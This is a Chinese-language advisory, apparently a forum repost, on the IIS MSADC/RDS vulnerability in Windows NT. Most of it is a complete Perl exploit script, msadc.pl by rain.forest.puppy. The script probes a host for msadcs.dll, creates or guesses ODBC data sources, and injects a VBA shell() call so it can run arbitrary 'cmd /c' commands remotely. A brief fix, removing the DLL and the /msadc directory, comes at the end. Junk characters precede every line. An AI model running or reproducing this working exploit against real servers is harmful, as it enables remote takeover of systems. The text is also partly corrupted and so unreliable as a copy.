IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
yVe<[!hJ lk $S"OH! 涉及程序：
".&x`C Microsoft NT server
8Z;wF g%z?O[CN 描述：
' </ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Hu$]V*rAG 9moenkL 详细：
iE}ji lU 如果你没有时间读详细内容的话，就删除:
:[gM 5G c:\Program Files\Common Files\System\Msadc\msadcs.dll
hw`+,_ g 有关的安全问题就没有了。
@";z?xj pm< zw - 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
yb BLBJb ;I'pC?!y 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
?9qA"5 关于利用ODBC远程漏洞的描述，请参看:
XAuB .)| 7+aTrE{ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <Sn5ME<* EZkg0FhkZ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
XZhX%OT! http://www.microsoft.com/security/bulletins/MS99-025faq.asp O`e0r%SJ q_Td!?2? 这里不再论述。
s MAc+9G9k +O23@G?x 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
T:Dp+m!\{ (j-[ m\w F /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
^.Y"<oZSS 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
/>fy@nPl| X#mm
Z;P ;i`X&[y; #将下面这段保存为txt文件，然后: "perl -x 文件名"
70 ! & BsVUEF ,N #!perl
gH- e0134% #
5,!,mor$] # MSADC/RDS 'usage' (aka exploit) script
4cK6B )X #
^=Rqa
\; # by rain.forest.puppy
'UO,DFq[Fl #
&) L2a) # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
tx ;DMxN!W # beta test and find errors!
<^VZ4$j BDY@&vF use Socket; use Getopt::Std;
0 3L"W^gc getopts("e:vd:h:XR", \%args);
~uRG~,{rH K^AX=B print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
DsY-JBDvoz 06 g E;iT if (!defined $args{h} && !defined $args{R}) {
s}A)sBsaP3 print qq~
^\ &:'$f+8 Usage: msadc.pl -h <host> { -d <delay> -X -v }
+v%V1lf^~ -h <host> = host you want to scan (ip or domain)
cA ;'~[ -d <seconds> = delay between calls, default 1 second
th 8f -X = dump Index Server path table, if available
Lys4l$J] -v = verbose
NLM ]KT -e = external dictionary file for step 5
B+| E|8" 'X{cDdS^ Or a -R will resume a command session
M*| y&XBe qWe1`.o ~; exit;}
94r8DkI ''!pvxA $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
9BB<.
p if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
WM BntB if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
,s0 E]]( if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
9Qp39(l: $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
xEaRuH c if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
1&c>v3 $2 !c:Q+:,H if (!defined $args{R}){ $ret = &has_msadc;
CFqoD l die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
LU4\&fd X"b4U\ A print "Please type the NT commandline you want to run (cmd /c assumed):\n"
PEZElB ; . "cmd /c ";
~6 @zXHAS $in=<STDIN>; chomp $in;
K|];fd U $command="cmd /c " . $in ;
6cSMKbgZJ >]Hz-2b if (defined $args{R}) {&load; exit;}
H[V^wyi' z /ee:GjUkB print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
?ECmPS1 &try_btcustmr;
d9|dHJf l.1)%q&@^ print "\nStep 2: Trying to make our own DSN...";
JY0t Hs &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
(? xGl V`n aGNVqS%y print "\nStep 3: Trying known DSNs...";
WKX5Dl &known_dsn;
KgVit+4u/ r w FR5 print "\nStep 4: Trying known .mdbs...";
sF]v$ kq &known_mdb;
@8Drh x Gk,{{:M:5 if (defined $args{e}){
zy4AFW print "\nStep 5: Trying dictionary of DSN names...";
Vj4
if@Z &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
xPb;_~ 4 C [,S|J print "Sorry Charley...maybe next time?\n";
;|w & n exit;
# j*$ `W; nFW^^v< ##############################################################################
\^;G v%E COFs?L.` sub sendraw { # ripped and modded from whisker
|`s}PcV sleep($delay); # it's a DoS on the server! At least on mine...
NmST1pMk my ($pstr)=@_;
F R0zK=\ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
BzF.KCScs die("Socket problems\n");
J:f>/ if(connect(S,pack "SnA4x8",2,80,$target)){
riZFcVsB select(S); $|=1;
'15j$q print $pstr; my @in=<S>;
Q6,rY (b6 select(STDOUT); close(S);
s6Bt)8 A return @in;
dpZ7eJ } else { die("Can't connect...\n"); }}
o}v # Df 7E Y~5U/4 ##############################################################################
aen(Mcd3bg ro@Zbm;P sub make_header { # make the HTTP request
jCW>=1:JGY my $msadc=<<EOT
Yp 6;Y7^ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
#lltXqvD? User-Agent: ACTIVEDATA
Qa t%<;P2 Host: $ip
D\(,:_ge Content-Length: $clen
cLr? B;FS Connection: Keep-Alive
=d~]*[8 _I~TpH^1K ADCClientVersion:01.06
c/;t.+g Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
au"HIyi?k K blOP{I --!ADM!ROX!YOUR!WORLD!
H4l:L(!D Content-Type: application/x-varg
F Paj
p Content-Length: $reqlen
dadOjl)S) t8i"f L EOT
x)"=*Jj ; $msadc=~s/\n/\r\n/g;
r{\cm
Ds return $msadc;}
@kvp2P+O
cD0 ##############################################################################
L!S-f4^5 pC8(>gV<h
sub make_req { # make the RDS request
,EZ&n[%Ko my ($switch, $p1, $p2)=@_;
G8u8&| my $req=""; my $t1, $t2, $query, $dsn;
~lDLdUs |\ QR9> if ($switch==1){ # this is the btcustmr.mdb query
6sP;O,UX $query="Select * from Customers where City=" . make_shell();
m*i~Vjxj-m $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
>=U $ s@ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
}S #.Pw% Vaha--QB elsif ($switch==2){ # this is general make table query
!ox &` $query="create table AZZ (B int, C varchar(10))";
T" QY@#E $dsn="$p1";}
X[@>1tl Efp=z=E elsif ($switch==3){ # this is general exploit table query
Y\+^\`Tqu $query="select * from AZZ where C=" . make_shell();
EAY9~b6~c $dsn="$p1";}
@b>]q$)(} YvYav d elsif ($switch==4){ # attempt to hork file info from index server
T{)!>) $query="select path from scope()";
t<`ar@} $dsn="Provider=MSIDXS;";}
Bs# #3{ylu xje{ kx# elsif ($switch==5){ # bad query
dH`a|SVW9 $query="select";
1c}'o*K_% $dsn="$p1";}
PU'v o4 =x7ODBYW^ $t1= make_unicode($query);
Qb(CH $t2= make_unicode($dsn);
L 1F){8[ $req = "\x02\x00\x03\x00";
`Mjm/9+18 $req.= "\x08\x00" . pack ("S1", length($t1));
[")0{LSA= $req.= "\x00\x00" . $t1 ;
yBl<E$= $req.= "\x08\x00" . pack ("S1", length($t2));
3zl!x $req.= "\x00\x00" . $t2 ;
'R'>`?Nh $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
KDXo9FzF return $req;}
]$L[3q A. ~f@< ] ##############################################################################
PN'8"8`{ 78.sf{I sub make_shell { # this makes the shell() statement
'P~ *cr ?A return "'|shell(\"$command\")|'";}
<;XJ::d .Z^g
7 *s ##############################################################################
C D[7h TgUQD(d^ sub make_unicode { # quick little function to convert to unicode
Ja (/ym^ my ($in)=@_; my $out;
nuC K7X for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
S 5d{dTPq return $out;}
@"~\ [z5 5sE^M S1 ##############################################################################
HAiUFO/R p/:5 bvA sub rdo_success { # checks for RDO return success (this is kludge)
fC-^[Af ) my (@in) = @_; my $base=content_start(@in);
Ym6ec|9; if($in[$base]=~/multipart\/mixed/){
+p[~hM6? return 1 if( $in[$base+10]=~/^\x09\x00/ );}
2Z97 Tq return 0;}
va<+)b\ 7'8O*EoB' ##############################################################################
t/$xzsoJZr 9F-k:hD | sub make_dsn { # this makes a DSN for us
{c1qC z M4 my @drives=("c","d","e","f");
{jVFlKP> print "\nMaking DSN: ";
ex =~l O foreach $drive (@drives) {
OP&[5X+Y print "$drive: ";
v] J# SlF my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
wiGwN "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
5^Y/RS i . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
{L=[1 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
|HEw~x <= return 0 if $2 eq "404"; # not found/doesn't exist
7^iAc6QSy3 if($2 eq "200") {
"5YdmBy foreach $line (@results) {
YNXk32@j@e return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Ocb2XEF } return 0;}
W"*R#:Q saT9%?4- ##############################################################################
4
* OU
> o b /@ sub verify_exists {
+doT^&2u* my ($page)=@_;
w=`z!x![/ my @results=sendraw("GET $page HTTP/1.0\n\n");
zfZDtKq return $results[0];}
i#lo? \PO> " uCQm ' ##############################################################################
g@2.A;N0 jQb D2x6( sub try_btcustmr {
AAW7@\q. my @drives=("c","d","e","f");
/kz&9FM my @dirs=("winnt","winnt35","winnt351","win","windows");
d0B+syl&4l zFn&~lFB foreach $dir (@dirs) {
!.9vW&t print "$dir -> "; # fun status so you can see progress
SoX V foreach $drive (@drives) {
Q7r,5w& cm print "$drive: "; # ditto
s 2v* $reqlen=length( make_req(1,$drive,$dir) ) - 28;
G|lI=Q3f $reqlenlen=length( "$reqlen" );
/;4MexgB% $clen= 206 + $reqlenlen + $reqlen;
;N\?]{ L RuZ;hnE& my @results=sendraw(make_header() . make_req(1,$drive,$dir));
nrIL_ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
? st#6=M else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
J7GsNFL b..$5 ##############################################################################
ra>`J _ qfu2}qUX~% sub odbc_error {
e_], O_ Z my (@in)=@_; my $base;
? 6d4T my $base = content_start(@in);
[QbXj0en$ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
}NCvaO $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c0&'rxi( B $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
rbPs~C-[ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Mj B[5:s return $in[$base+4].$in[$base+5].$in[$base+6];}
qD*\}b]9I
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Q ~JKKq print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
g i'agB^ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
]Rh( =bg 7[BL 1HI* ##############################################################################
yrA zD = Uob |Q=MQ sub verbose {
Xp6*Y1Y
my ($in)=@_;
+[/47uFbI return if !$verbose;
_a$DY ,; print STDOUT "\n$in\n";}
*"FL kC4 %J7mZB9 ##############################################################################
WgJAr73
l * g4Cy 8$ sub save {
;-pvc<_c< my ($p1, $p2, $p3, $p4)=@_;
!9xANSb open(OUT, ">rds.save") || print "Problem saving parameters...\n";
^r*%BUU9]% print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
yM:~{;HLF close OUT;}
QX.6~*m1 "P5bYq%0v ##############################################################################
ZT"|o\G^Q )]>G,.9C} sub load {
eH%L?"J~: my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
*rcuhw"^b# open(IN,"<rds.save") || die("Couldn't open rds.save\n");
_$\5Z Ve @p=<IN>; close(IN);
U@J/ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
P!+nZXo $target= inet_aton($ip) || die("inet_aton problems");
? h )3S 7 print "Resuming to $ip ...";
.(7C)P{ .0 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
;%7XU~<a if($p[1]==1) {
O
{6gNR,* $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
MIlCUk $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
6!%d-Z7) my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Kwl qi]~ if (rdo_success(@results)){print "Success!\n";}
;5 Vk01R else { print "failed\n"; verbose(odbc_error(@results));}}
?3, 64[ elsif ($p[1]==3){
Uk *; C if(run_query("$p[3]")){
)yNw2+ ~5 print "Success!\n";} else { print "failed\n"; }}
LlA`QLe elsif ($p[1]==4){
c >
mu)('U if(run_query($drvst . "$p[3]")){
mE^ tzyh print "Success!\n"; } else { print "failed\n"; }}
`+hy#1] exit;}
\gp,Txueb ra% R:xX ##############################################################################
B}q ,/?%y\:J sub create_table {
F7Dc!JNa my ($in)=@_;
I,<>%Z|' $reqlen=length( make_req(2,$in,"") ) - 28;
=EcIXDzC> $reqlenlen=length( "$reqlen" );
LPapD@Z $clen= 206 + $reqlenlen + $reqlen;
!
[|vx!p my @results=sendraw(make_header() . make_req(2,$in,""));
we\b ] return 1 if rdo_success(@results);
)-.C ne;n my $temp= odbc_error(@results); verbose($temp);
u3M` 'YCb return 1 if $temp=~/Table 'AZZ' already exists/;
_)#=>$k\ return 0;}
| 3N.5 { TDl!qp @ ##############################################################################
mI7rx`4H Tw`c6^%^y sub known_dsn {
s3Krob`C5 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
g]Xzio& w my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
#FqFH>-*2 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
xxLgC;>[ "banner", "banners", "ads", "ADCDemo", "ADCTest");
-B *<Q[_ n b0 Py>4 foreach $dSn (@dsns) {
y \)G7
( print ".";
N &I8nZ9 next if (!is_access("DSN=$dSn"));
PTzp;. if(create_table("DSN=$dSn")){
.*EOVo9S print "$dSn successful\n";
ZVdsxo < if(run_query("DSN=$dSn")){
( :.Q\!aZ1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
4-]Do? print "Something's borked. Use verbose next time\n";}}} print "\n";}
POqRHuFq ]]J#7L# ##############################################################################
{t844La" 9C557$nS^ sub is_access {
><;l:RGK| my ($in)=@_;
i{ t TUA $reqlen=length( make_req(5,$in,"") ) - 28;
85r)>aCMn $reqlenlen=length( "$reqlen" );
943I :, B $clen= 206 + $reqlenlen + $reqlen;
* ?
K4!q' my @results=sendraw(make_header() . make_req(5,$in,""));
#<a_: m)@ my $temp= odbc_error(@results);
%_B:EMPd verbose($temp); return 1 if ($temp=~/Microsoft Access/);
r{K\(UT]! return 0;}
&YT_#M F=oHl@ ##############################################################################
M1AZ}b c0] ";wyNpb( sub run_query {
0Jm]f/iZ my ($in)=@_;
M&uzOK+ $reqlen=length( make_req(3,$in,"") ) - 28;
uY&=eQ_Cb $reqlenlen=length( "$reqlen" );
to99 _2 $clen= 206 + $reqlenlen + $reqlen;
+M44XhT my @results=sendraw(make_header() . make_req(3,$in,""));
8w)e/*:j return 1 if rdo_success(@results);
%B#hb<7} my $temp= odbc_error(@results); verbose($temp);
Xtci0eS#V return 0;}
'R^i KN Ps uk`T+@ K ##############################################################################
vP3K7En VDB$"T9# sub known_mdb {
-'80>[}q/ my @drives=("c","d","e","f","g");
E^b
p ckP my @dirs=("winnt","winnt35","winnt351","win","windows");
Y3-]+y%l my $dir, $drive, $mdb;
y._'K+nl my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$z= 0[%L ^F>4~68 d # this is sparse, because I don't know of many
!+m@AQ:, my @sysmdbs=( "\\catroot\\icatalog.mdb",
OI~}e,[2z "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^ 4+r*YvcM "\\system32\\certmdb.mdb",
fH- NU-" "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
VVs{l\$=ZV M6 # \na my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
66oK3%[ "\\cfusion\\cfapps\\forums\\forums_.mdb",
6dF$?I& "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
;!'qtw"CB "\\cfusion\\cfapps\\security\\realm_.mdb",
ows^W8-w "\\cfusion\\cfapps\\security\\data\\realm.mdb",
h]qT1( I "\\cfusion\\database\\cfexamples.mdb",
ppEJs "\\cfusion\\database\\cfsnippets.mdb",
]x1p!TSU "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
#-,g&)`] "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
O'fk&&l "\\cfusion\\brighttiger\\database\\cleam.mdb",
/v5qyR7an "\\cfusion\\database\\smpolicy.mdb",
Z,3 CC \ "\\cfusion\\database\cypress.mdb",
WS5A Y @(~ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
|,3l`o
k "\\website\\cgi-win\\dbsample.mdb",
,NDh@VYe "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
QO@6VY@ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
$)Wb#B ); #these are just
]5N zK=2{ foreach $drive (@drives) {
` "B^{o foreach $dir (@dirs){
|H:<:*=6c foreach $mdb (@sysmdbs) {
VO9X kA7 print ".";
Yr+d1( if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
oB4#J* print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
)i @1X H"D if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
uMHRUi print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
J2'K?|,m } else { print "Something's borked. Use verbose next time\n"; }}}}}
zHV|- R e[}],W foreach $drive (@drives) {
85}
ii{S foreach $mdb (@mdbs) {
bjlkX[{}I print ".";
xo(k?+P>. if(create_table($drv . $drive . $dir . $mdb)){
>{Q dMn print "\n" . $drive . $dir . $mdb . " successful\n";
+lKrj\Xj if(run_query($drv . $drive . $dir . $mdb)){
2 % %|fU9 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Y c
d3QRB } else { print "Something's borked. Use verbose next time\n"; }}}}
Y xJ`-6 }
~ 6kJ~R4 -Un=T X ##############################################################################
FZpsL-yx^N <Pio Q >~ sub hork_idx {
-1CEr_(P^ print "\nAttempting to dump Index Server tables...\n";
Q<yAT(w print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
?ql2wWsQO $reqlen=length( make_req(4,"","") ) - 28;
:c=v} $reqlenlen=length( "$reqlen" );
9Eg&CZ,9$D $clen= 206 + $reqlenlen + $reqlen;
/1[gn8V691 my @results=sendraw2(make_header() . make_req(4,"",""));
xZyeX34{M; if (rdo_success(@results)){
xor TL8 my $max=@results; my $c; my %d;
F@1d%c for($c=19; $c<$max; $c++){
H <Hrwy~ $results[$c]=~s/\x00//g;
k}zd'
/b $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
tO M(U-7Z& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
"5} %" -# $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
uB;_vC $d{"$1$2"}="";}
q &
b5g ! foreach $c (keys %d){ print "$c\n"; }
G'9{a' } else {print "Index server doesn't seem to be installed.\n"; }}
.'/l '> KmL$M ##############################################################################
xs%LRF# u ^ df x~C sub dsn_dict {
qg4fR' i open(IN, "<$args{e}") || die("Can't open external dictionary\n");
&6/%k kv while(<IN>){
Y208b?=9w $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
k2p'G ')H next if (!is_access("DSN=$dSn"));
4\6: \ if(create_table("DSN=$dSn")){
sa9fK Z'q print "$dSn successful\n";
x@m< Ym- if(run_query("DSN=$dSn")){
.*!#98pT print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9U^$.Lb print "Something's borked. Use verbose next time\n";}}}
Us-A+)r*! print "\n"; close(IN);}
~@Kf2dHes hwVAXsF ~ ##############################################################################
mM5|K@0| Obo _YE sub sendraw2 { # ripped and modded from whisker
94{)"w] sleep($delay); # it's a DoS on the server! At least on mine...
s4$X my ($pstr)=@_;
T4 r5s socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
rl?7W]; die("Socket problems\n");
#) ] c0]p if(connect(S,pack "SnA4x8",2,80,$target)){
EgNH8i print "Connected. Getting data";
CCq T tp open(OUT,">raw.out"); my @in;
1,`H:%z% select(S); $|=1; print $pstr;
J#aVo &.Y while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
.X'<
D* close(OUT); select(STDOUT); close(S); return @in;
3t aa^e. } else { die("Can't connect...\n"); }}
I4D<WoU;dJ Nfw Y DY ##############################################################################
'7tBvVO_ 73
V"s sub content_start { # this will take in the server headers
`FJ|W6% my (@in)=@_; my $c;
>uy%-aXiVa for ($c=1;$c<500;$c++) {
A- wRah.M if($in[$c] =~/^\x0d\x0a/){
G {b:i8}l if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
N:x0w+C a else { return $c+1; }}}
ll<mE, return -1;} # it should never get here actually
Ld(NhB'7 |RhM| i ##############################################################################
/IR #A%U G{RTH_p sub funky {
6t}XJB$+7 my (@in)=@_; my $error=odbc_error(@in);
Bo
r7] # if($error=~/ADO could not find the specified provider/){
=;{^" #r\ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
3KcaT5(& exit;}
s[ AA 7>]3 if($error=~/A Handler is required/){
H}nJbnU print "\nServer has custom handler filters (they most likely are patched)\n";
Hk;-5A|9 exit;}
mhzYz;} if($error=~/specified Handler has denied Access/){
Fr5 Xp print "\nServer has custom handler filters (they most likely are patched)\n";
k^An97J exit;}}
KAc >-c< t;47(U ##############################################################################
nQ=aLV +' u) *Kws sub has_msadc {
MzTW8 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
?C Y1]d my $base=content_start(@results);
HI!4 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
NK/4OAt% return 0;}
^Mytp> 7 Q_O*oT(0 ########################
ZK !A#Jm{ $1 @,Qor YD&_^3-XM 解决方案：
Q"VMNvKYB 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
N.hzKq][ 2、移除web 目录: /msadc
